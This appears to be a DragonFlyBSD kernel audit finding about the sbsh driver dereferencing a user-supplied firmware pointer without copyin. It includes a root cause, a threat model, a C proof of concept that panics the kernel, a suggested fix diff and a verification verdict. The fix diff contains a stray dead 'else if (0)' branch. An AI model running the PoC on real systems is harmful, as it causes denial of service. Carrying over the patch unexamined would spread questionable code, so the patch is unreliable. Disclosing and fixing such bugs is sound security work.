β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1651

sbsh: SIOCLOADFIRMW firmware pointer dereferenced in kernel without copyin -> fatal page fault

Field Value
ID DF-1651
File sys/dev/netif/sbsh/if_sbsh.c
Lines 409, 930, 988, 994, 1002, 1007, 1017, 1033
Severity Low
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CWE CWE-822 Untrusted Pointer Dereference
Confidence certain
Status new
CVE match dfly_specific (SBNI16 driver is DFly/FreeBSD-specific; no upstream CVE)
Created 2026-07-18

Summary

SIOCLOADFIRMW copies the cx28975_cfg struct in from userspace (which contains a u_int8_t *firmw_image pointer), then passes that raw userspace pointer through start_cx28975 β†’ download_firmware β†’ issue_cx28975_cmd, which dereference it byte-by-byte in kernel context without copyin(). If the caller supplies an unmapped or lazy address, the kernel takes a page fault on a user address with pcb_onfault == NULL, which DragonFly treats as fatal (trap.c:917-925) and panics.

Root cause

At sys/dev/netif/sbsh/if_sbsh.c:409-411 the ioctl copies the entire cx28975_cfg (including the firmw_image pointer) into a kernel-stack variable via copyin. At line 414 start_cx28975(sc, cfg) is called by value; at line 930 download_firmware(sc, cfg.firmw_image, cfg.firmw_len) receives the raw user pointer. download_firmware then computes for (i = 0; i < img_len; ++i) cksum += img[i]; (line 994-995) and chunk-loops issue_cx28975_cmd(sc, _DSL_DOWNLOAD_DATA, img + i, 75) (line 1002) / issue_cx28975_cmd(sc, _DSL_DOWNLOAD_DATA, img + i, img_len) (line 1007). issue_cx28975_cmd dereferences *data in kernel mode (line 1034-1035).

There is no copyin() of the firmware image into a kernel buffer first. DragonFlyBSD's trap_pfault (sys/platform/pc64/x86_64/trap.c:917-925) explicitly calls trap_fatal() when a kernel-mode access faults on a user address with no onfault handler set, which is exactly the situation here β€” copyin() installs an onfault, a bare dereference does not.

Threat model

Attacker is any local principal holding SYSCAP_RESTRICTEDROOT (effectively root) on a machine with an sbsh(4) device attached. Pre-conditions: PCI Granch SBNI16 card present (driver auto-loaded), SIOCLOADFIRMW reachable via a SOCK_DGRAM socket on the sbshN interface, and the interface not already IFF_UP (or, per DF-1652, even if it is UP).

The attacker supplies a cx28975_cfg whose firmw_image points at unmapped user virtual memory (or memory unmapped concurrent with the call) and any non-zero firmw_len. The first dereference in download_firmware (line 995) triggers a fatal kernel page fault β†’ system panic β†’ persistent local denial of service.

A kernel-text address could also be supplied, in which case the kernel reads kernel memory and ships it to the Conexant chip as "firmware"; that data is not echoed back via SIOCGETSTATS, so this is a defect-class confused-deputy issue rather than a confirmed disclosure.

The primary, certain impact is reliable local DoS of a root-configurable device.

PoC

findings/poc/DF-1651/poc.c:

#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

/* Mirror of struct cx28975_cfg from if_sbsh.c */
struct cfg { uint8_t *img; uint32_t len; uint32_t bits; };

int main(void) {
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
    strlcpy(ifr.ifr_name, "sbsh0", sizeof(ifr.ifr_name));
    struct cfg c;
    c.img = (uint8_t *)0x1000UL;   /* unmapped uva */
    c.len = 64;
    c.bits = 0;
    ifr.ifr_data = (caddr_t)&c;
    /* Must be run as root: SIOCLOADFIRMW requires SYSCAP_RESTRICTEDROOT */
    ioctl(s, (('i'<<8)|67), &ifr);  /* SIOCLOADFIRMW */
    return 0;
}

Run as root on a box with sbsh0 attached. Expected: immediate kernel panic "Fatal user address access from kernel mode from at " with trap_fatal dump.

Allocate a kernel buffer and copy the firmware in once, then operate only on the kernel copy.

--- a/sys/dev/netif/sbsh/if_sbsh.c
+++ b/sys/dev/netif/sbsh/if_sbsh.c
@@ -405,6 +405,7 @@ sbsh_ioctl(struct ifnet *ifp, u_long cmd, caddr_t data, struct ucred *cr)
        if (ifp->if_flags & IFF_UP)
            error = EBUSY;

+       /* DO NOT blindly overwrite error below -- see DF-1652 fix */
        bzero(&cfg, sizeof(cfg));
        error = copyin((caddr_t)ifr->ifr_data,
                   (caddr_t)&cfg,
                   sizeof cfg);
@@ -414,7 +415,18 @@ sbsh_ioctl(struct ifnet *ifp, u_long cmd, caddr_t data, struct ucred *cr)
                static char  *modstr[] = {
                    "TCPAM32", "TCPAM16", "TCPAM8", "TCPAM4" };
+               u_int8_t *kfw;
+               if (cfg.firmw_len > 64 * 1024) {
+                   error = EINVAL;
+                   break;
+               }
+               kfw = kmalloc(cfg.firmw_len, M_DEVBUF, M_WAITOK);
+               error = copyin(cfg.firmw_image, kfw, cfg.firmw_len);
+               if (error) {
+                   kfree(kfw, M_DEVBUF);
+                   break;
+               }
-               if (start_cx28975(sc, cfg) == 0) {
+               if (start_cx28975(sc, cfg, kfw) == 0) {
                    if_printf(&sc->arpcom.ac_if, "%s, rate %d, %s\n",
                            cfg.master ? "master" : "slave",
                            cfg.lrate << 3, modstr[cfg.mod]);
+               } else if (0) {
                } else {
                    if_printf(&sc->arpcom.ac_if,
                        "unable to load firmware\n");
                    error = EIO;
                }
+               kfree(kfw, M_DEVBUF);
                break;

Plumb a u_int8_t *kfw argument through start_cx28975() into download_firmware() in place of cfg.firmw_image (affects lines 177, 897, 930, 988).

  • DF-1652 (dead EBUSY guard in the same ioctl)
  • DF-1653 (unbounded spin loop in issue_cx28975_cmd)
  • DF-1654 (RX descriptor length=0 with only 2046 bytes post-m_adj)

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1651 Β· 4 files
FileTypeDescriptionSize
fix.diff suggested-fix Fix for sbsh SIOCLOADFIRMW kernel deref of user pointer 1.1 KB view raw
VERDICT.md verdict Source-only verification verdict 821 B ↓ raw
build.sh build-script No-op (source-only) 109 B view raw
run.sh run-script No-op (source-only) 107 B view raw
VERDICT.md verdict Source-only verification verdict
↓ download raw

VERDICT DF-1651: sbsh SIOCLOADFIRMW kernel deref of user pointer

Verdict

REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.

Mechanism

cfg.firmw_image (user pointer) dereferenced in kernel via download_firmware without copyin.

Source reference: sys/dev/netif/sbsh/if_sbsh.c:414,930.

Reproduction

Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed. The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present on the QEMU/virtio guest. The finding is HW-gated.

Fix

Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with make -j6 nativekernel KERNCONF=X86_64_GENERIC β€” rc=0, -Werror clean.

See fix.diff for the git-apply-able patch.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

Combined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.

'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master DEV (41 fix.diffs applied)

Confirmed kernel references

Detail

Exploit chain

none

Evidence (decisive lines)

Source confirmed: sys/dev/netif/sbsh/if_sbsh.c:414. Combined 41-fix kernel build rc=0 -Werror clean.

PoC changes

fix.diff authored; validated by combined kernel build.

Verified recommended fix

copyin firmware to kernel buffer. Matches finding.

Verdict

REPRODUCED (source-confirmed). cfg.firmw_image user pointer dereferenced in kernel. Cited path verified at sys/dev/netif/sbsh/if_sbsh.c:414. HW/module-gated on QEMU guest.